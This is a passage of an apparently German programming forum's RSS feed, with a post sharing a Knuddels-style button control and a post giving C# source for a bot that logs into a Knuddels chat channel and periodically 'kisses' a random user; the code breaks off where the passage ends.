			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>Mentos</dc:creator>
			<guid isPermaLink="true">sourcecode-91/java-wordmix-830</guid>
		</item>
		<item>
			<title><![CDATA[[SCR] KButton - Knuddels Button Control]]></title>
			<link>sourcecode-91/scr-kbutton-knuddels-button-control-176?goto=newpost</link>
			<pubDate>Fri, 18 Nov 2011 22:31:21 GMT</pubDate>
			<description>Nabend, 
 
einige kennen es vielleicht noch, andere nicht. KButton ist ein Control welches den Knuddels Button 1:1 darstellen kann, mit Hover und co....</description>
			<content:encoded><![CDATA[<div>Nabend,<br />
<br />
einige kennen es vielleicht noch, andere nicht. KButton ist ein Control welches den Knuddels Button 1:1 darstellen kann, mit Hover und co.<br />
<br />
Vielleicht kann es noch wer gebrauchen, ist die Version aus K-Cheat und sollte noch funktionieren.<br />
<br />
<b>Screen:</b><br />
<br />
<img src="http://u-img.net/img/6110Gi.png" border="0" alt="" /><br />
<br />
(Diese Datei befindet sich ebenfalls im Source.)<br />
<br />
<u>Coder:</u> <a href="http://u-hacks.net/members/patrick-4/" target="_blank" rel="nofollow">PaTrick</a><br />
<br />
<b><a href="http://p1rates.in/index.php/downloads/" target="_blank" rel="nofollow">Download | p1rates.in</a></b><br />
<br />
Erlaubnis erhalten, viel Spaß damit! ;)</div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>Devon</dc:creator>
			<guid isPermaLink="true">sourcecode-91/scr-kbutton-knuddels-button-control-176</guid>
		</item>
		<item>
			<title><![CDATA[[C#] RandomKisser]]></title>
			<link>sourcecode-91/c-randomkisser-31983?goto=newpost</link>
			<pubDate>Sun, 13 Nov 2011 16:01:39 GMT</pubDate>
			<description>Hey, 
 
war ein Wunsch von einem User, nichts besonderes.. 
Kisst im angegebenen Channel einen User (wird durch Zufall ausgewählt) der sich im...</description>
			<content:encoded><![CDATA[<div>Hey,<br />
<br />
war ein Wunsch von einem User, nichts besonderes..<br />
Kisst im angegebenen Channel einen User (wird durch Zufall ausgewählt) der sich im Channel befindet.<br />
<br />
Viel Spaß damit. (H)<br />
<br />
<img src="https://u-labs.de/forum/attachment.php?attachmentid=7485&amp;d=1397101885" border="0" alt="Name:  4qulu.png
Hits: 183
Größe:  58,7 KB" class="thumbnail" style="float:CONFIG" /><br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #FF8000">/*<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;____&nbsp;&nbsp;__.&nbsp;&nbsp;_________&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.__&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;__&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;|/&nbsp;_|&nbsp;/&nbsp;&nbsp;&nbsp;_____/&nbsp;___________|__|______/&nbsp;&nbsp;|_&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;&nbsp;&nbsp;&nbsp;\_____&nbsp;&nbsp;\_/&nbsp;___\_&nbsp;&nbsp;__&nbsp;\&nbsp;&nbsp;\____&nbsp;\&nbsp;&nbsp;&nbsp;__\<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;\&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\&nbsp;&nbsp;\___|&nbsp;&nbsp;|&nbsp;\/&nbsp;&nbsp;|&nbsp;&nbsp;|_&gt;&nbsp;&gt;&nbsp;&nbsp;|&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|____|__&nbsp;\/_______&nbsp;&nbsp;/\___&nbsp;&nbsp;&gt;__|&nbsp;&nbsp;|__|&nbsp;&nbsp;&nbsp;__/|__|&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|__|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Knuddels&nbsp;RandomKisser&nbsp;Sample<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;©&nbsp;The&nbsp;Don&nbsp;of&nbsp;NYC<br />&nbsp;*/<br /><br /></span><span style="color: #0000BB">using&nbsp;KNLib</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Threading</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Collections</span><span style="color: #007700">.</span><span style="color: #0000BB">Generic</span><span style="color: #007700">;<br /><br />namespace&nbsp;</span><span style="color: #0000BB">RandomKisser<br /></span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;class&nbsp;</span><span style="color: #0000BB">Program<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;static&nbsp;List&lt;</span><span style="color: #0000BB">User</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">userList&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;static&nbsp;</span><span style="color: #0000BB">int&nbsp;intervall&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;static&nbsp;</span><span style="color: #0000BB">void&nbsp;Main</span><span style="color: #007700">(</span><span style="color: #0000BB">string</span><span style="color: #007700">&#91;&#93;&nbsp;</span><span style="color: #0000BB">args</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">Title&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">"RandomKisser"</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">(</span><span style="color: #DD0000">"Nickname?"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">String&nbsp;nick&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">ReadLine</span><span style="color: #007700">();&nbsp;</span><span style="color: #FF8000">//&nbsp;Nickeingabe&nbsp;auslesen<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">(</span><span style="color: #DD0000">"Passwort?"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">String&nbsp;pass&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">ReadLine</span><span style="color: #007700">();&nbsp;</span><span style="color: #FF8000">//&nbsp;Passworteingabe&nbsp;auslesen<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">(</span><span style="color: #DD0000">"Channel?"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">String&nbsp;channel&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">ReadLine</span><span style="color: #007700">();&nbsp;</span><span style="color: #FF8000">//&nbsp;Channeleingabe&nbsp;auslesen<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">(</span><span style="color: #DD0000">"Intervall?"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;(!</span><span style="color: #0000BB">int</span><span style="color: #007700">.</span><span style="color: #0000BB">TryParse</span><span style="color: #007700">(</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">ReadLine</span><span style="color: #007700">(),&nbsp;</span><span style="color: #0000BB">out&nbsp;intervall</span><span style="color: #007700">))&nbsp;</span><span style="color: #FF8000">//&nbsp;solange&nbsp;der&nbsp;User&nbsp;keine&nbsp;Zahl&nbsp;eingibt,&nbsp;verlangen&nbsp;wir&nbsp;von&nbsp;ihm&nbsp;die&nbsp;Intervallangabe<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">(</span><span style="color: #DD0000">"Intervall?"</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;new&nbsp;</span><span style="color: #0000BB">Thread</span><span style="color: #007700">(</span><span style="color: #0000BB">delegate</span><span style="color: #007700">()&nbsp;{</span><span style="color: #0000BB">login</span><span style="color: #007700">(</span><span style="color: #0000BB">nick</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">pass</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">channel</span><span style="color: #007700">);}).</span><span style="color: #0000BB">Start</span><span style="color: #007700">();&nbsp;</span><span style="color: #FF8000">//&nbsp;parametisierten&nbsp;Thread&nbsp;starten,&nbsp;wo&nbsp;mit&nbsp;unseren&nbsp;angegebenen&nbsp;Daten&nbsp;der&nbsp;Loginvorgang&nbsp;durchgeführt&nbsp;wird<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">///&nbsp;&lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;Loggt&nbsp;sich&nbsp;mit&nbsp;den&nbsp;angegeben&nbsp;Daten&nbsp;in&nbsp;Knuddels&nbsp;ein<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;param&nbsp;name="nick"&gt;Nickname&lt;/param&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;param&nbsp;name="pass"&gt;Passwort&lt;/param&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;param&nbsp;name="channel"&gt;Channel&lt;/param&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">private&nbsp;static&nbsp;</span><span style="color: #0000BB">void&nbsp;login</span><span style="color: #007700">(</span><span style="color: #0000BB">String&nbsp;nick</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">String&nbsp;pass</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">String&nbsp;channel</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">KSClient&nbsp;KSC&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">KSClient</span><span style="color: #007700">(new&nbsp;</span><span style="color: #0000BB">Applet</span><span style="color: #007700">(</span><span style="color: #DD0000">"applet.jar"</span><span style="color: #007700">));<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">KSC</span><span style="color: #007700">.</span><span style="color: #0000BB">OnUserListReceive&nbsp;</span><span style="color: #007700">+=&nbsp;new&nbsp;</span><span style="color: #0000BB">KSClient</span><span style="color: #007700">.</span><span style="color: #0000BB">UserListReceiveHandler</span><span style="color: #007700">(</span><span style="color: #0000BB">KSC_OnUserListReceive</span><span style="color: #007700">);&nbsp;</span><span style="color: #FF8000">//&nbsp;Userlist&nbsp;Event&nbsp;adden<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">KSC</span><span style="color: #007700">.</span><span style="color: #0000BB">OnChannelJoin&nbsp;</span><span style="color: #007700">+=&nbsp;new&nbsp;</span><span style="color: #0000BB">KSClient</span><span style="color: #007700">.</span><span style="color: #0000BB">ChannelJoinHandler</span><span style="color: #007700">(</span><span style="color: #0000BB">KSC_OnChannelJoin</span><span style="color: #007700">);&nbsp;</span><span style="color: #FF8000">//&nbsp;Channeljoin&nbsp;Event&nbsp;adden<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">KSC</span><span style="color: #007700">.</span><span style="color: #0000BB">OnChannelLeave&nbsp;</span><span style="color: #007700">+=&nbsp;new&nbsp;</span><span style="color: #0000BB">KSClient</span><span style="color: #007700">.</span><span style="color: #0000BB">ChannelLeaveHandler</span><span style="color: #007700">(</span><span style="color: #0000BB">KSC_OnChannelLeave</span><span style="color: #007700">);&nbsp;</span><span style="color: #FF8000">//&nbsp;Channelleave&nbsp;Event&nbsp;adden<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">KSC</span><span style="color: #007700">.</span><span style="color: #0000BB">Connect</span><span style="color: #007700">(</span><span style="color: #0000BB">ChatSystem</span><span style="color: #007700">.</span><span style="color: #0000BB">DE</span><span style="color: #007700">);&nbsp;</span><span style="color: #FF8000">//&nbsp;zum&nbsp;Chatsystem&nbsp;verbinden<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">KSC</span><span style="color: #007700">.</span><span style="color: #0000BB">Login</span><span style="color: #007700">(</span><span style="color: #0000BB">nick</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">pass</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">channel</span><span style="color: #007700">);&nbsp;</span><span style="color: #FF8000">//&nbsp;mit&nbsp;den&nbsp;eingegebenen&nbsp;Daten&nbsp;einloggen<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">#region&nbsp;Events<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">private&nbsp;static&nbsp;</span><span style="color: #0000BB">void&nbsp;KSC_OnUserListReceive</span><span style="color: #007700">(</span><span style="color: #0000BB">object&nbsp;sender</span><span style="color: #007700">,&nbsp;List&lt;</span><span style="color: #0000BB">User</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">Userliste</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">userList&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;List&lt;</span><span style="color: #0000BB">User</span><span style="color: #007700">&gt;();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">userList</span><span style="color: #007700">.</span><span style="color: #0000BB">AddRange</span><span style="color: #007700">(</span><span style="color: #0000BB">Userliste</span><span style="color: #007700">);&nbsp;</span><span style="color: #FF8000">//&nbsp;Userliste&nbsp;in&nbsp;unsere&nbsp;separate&nbsp;Liste&nbsp;adden<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">showLog</span><span style="color: #007700">(</span><span style="color: #0000BB">String</span><span style="color: #007700">.</span><span style="color: #0000BB">Format</span><span style="color: #007700">(</span><span style="color: #DD0000">"Eingeloggt!&nbsp;User&nbsp;im&nbsp;Channel:&nbsp;{0}"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">userList</span><span style="color: #007700">.</span><span style="color: #0000BB">Count</span><span style="color: #007700">),&nbsp;</span><span style="color: #0000BB">ConsoleColor</span><span style="color: #007700">.</span><span style="color: #0000BB">Green</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">showLog</span><span style="color: #007700">(</span><span style="color: #DD0000">"Starte&nbsp;nun&nbsp;den&nbsp;RandomKisser!"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">ConsoleColor</span><span style="color: #007700">.</span><span style="color: #0000BB">Magenta</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;new&nbsp;</span><span style="color: #0000BB">Thread</span><span style="color: #007700">(</span><span style="color: #0000BB">delegate</span><span style="color: #007700">()&nbsp;{&nbsp;</span><span style="color: #0000BB">kiss</span><span style="color: #007700">((</span><span style="color: #0000BB">KSClient</span><span style="color: #007700">)</span><span style="color: #0000BB">sender</span><span style="color: #007700">);&nbsp;}).</span><span style="color: #0000BB">Start</span><span style="color: #007700">();&nbsp;</span><span style="color: #FF8000">//&nbsp;starten&nbsp;einen&nbsp;parametisierten&nbsp;Thread&nbsp;wo&nbsp;der&nbsp;Kissvorgang&nbsp;durchgeführt&nbsp;wird<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;static&nbsp;</span><span style="color: #0000BB">void&nbsp;KSC_OnChannelJoin</span><span style="color: #007700">(</span><span style="color: #0000BB">object&nbsp;sender</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">User&nbsp;user</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">showLog</span><span style="color: #007700">(</span><span style="color: #0000BB">String</span><span style="color: #007700">.</span><span style="color: #0000BB">Format</span><span style="color: #007700">(</span><span style="color: #DD0000">"{0}&nbsp;hat&nbsp;den&nbsp;Channel&nbsp;betreten."</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">user</span><span style="color: #007700">.</span><span style="color: #0000BB">Name</span><span style="color: #007700">),&nbsp;</span><span style="color: #0000BB">ConsoleColor</span><span style="color: #007700">.</span><span style="color: #0000BB">DarkCyan</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">lock&nbsp;</span><span style="color: #007700">(</span><span style="color: #0000BB">userList</span><span style="color: #007700">)&nbsp;</span><span style="color: #FF8000">//&nbsp;"sperren"&nbsp;sozusagen&nbsp;die&nbsp;Userliste,&nbsp;damit&nbsp;kein&nbsp;Fehler&nbsp;auftaucht,&nbsp;wenn&nbsp;diese&nbsp;woanders&nbsp;gleichzeitig&nbsp;auch&nbsp;aufgerufen&nbsp;wird<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">userList</span><span style="color: #007700">.</span><span style="color: #0000BB">Add</span><span style="color: #007700">(</span><span style="color: #0000BB">user</span><span style="color: #007700">);&nbsp;</span><span style="color: #FF8000">//&nbsp;adden&nbsp;den&nbsp;User,&nbsp;der&nbsp;den&nbsp;Channel&nbsp;betreten&nbsp;hat<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;static&nbsp;</span><span style="color: #0000BB">void&nbsp;KSC_OnChannelLeave</span><span style="color: #007700">(</span><span style="color: #0000BB">object&nbsp;sender</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">User&nbsp;user</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">showLog</span><span style="color: #007700">(</span><span style="color: #0000BB">String</span><span style="color: #007700">.</span><span style="color: #0000BB">Format</span><span style="color: #007700">(</span><span style="color: #DD0000">"{0}&nbsp;hat&nbsp;den&nbsp;Channel&nbsp;verlassen."</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">user</span><span style="color: #007700">.</span><span style="color: #0000BB">Name</span><span style="color: #007700">),&nbsp;</span><span style="color: #0000BB">ConsoleColor</span><span style="color: #007700">.</span><span style="color: #0000BB">Cyan</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">lock&nbsp;</span><span style="color: #007700">(</span><span style="color: #0000BB">userList</span><span style="color: #007700">)&nbsp;</span><span style="color: #FF8000">//&nbsp;siehe&nbsp;oben<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">userList</span><span style="color: #007700">.</span><span style="color: #0000BB">Remove</span><span style="color: #007700">(</span><span style="color: #0000BB">user</span><span style="color: #007700">);&nbsp;</span><span style="color: #FF8000">//&nbsp;entfernen&nbsp;den&nbsp;User,&nbsp;der&nbsp;den&nbsp;Channel&nbsp;verlassen&nbsp;hat<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;static&nbsp;</span><span style="color: #0000BB">void&nbsp;showLog</span><span style="color: #007700">(</span><span style="color: #0000BB">String&nbsp;str</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">ConsoleColor&nbsp;c</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">ForegroundColor&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">c</span><span style="color: #007700">;&nbsp;</span><span style="color: #FF8000">//&nbsp;Farbe&nbsp;der&nbsp;Schriftfarbe&nbsp;in&nbsp;der&nbsp;Console<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">(</span><span style="color: #0000BB">str</span><span style="color: #007700">);&nbsp;</span><span style="color: #FF8000">//&nbsp;zeigen&nbsp;unseren&nbsp;Wunschtext&nbsp;in&nbsp;der&nbsp;Console&nbsp;an<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">#endregion<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#region&nbsp;Kissbot<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;Kisst&nbsp;in&nbsp;angegebenen&nbsp;Zeitabständen&nbsp;einen&nbsp;Randomuser<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;param&nbsp;name="KSC"&gt;KSClient&lt;/param&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">private&nbsp;static&nbsp;</span><span style="color: #0000BB">void&nbsp;kiss</span><span style="color: #007700">(</span><span style="color: #0000BB">KSClient&nbsp;KSC</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;(</span><span style="color: #0000BB">true</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: 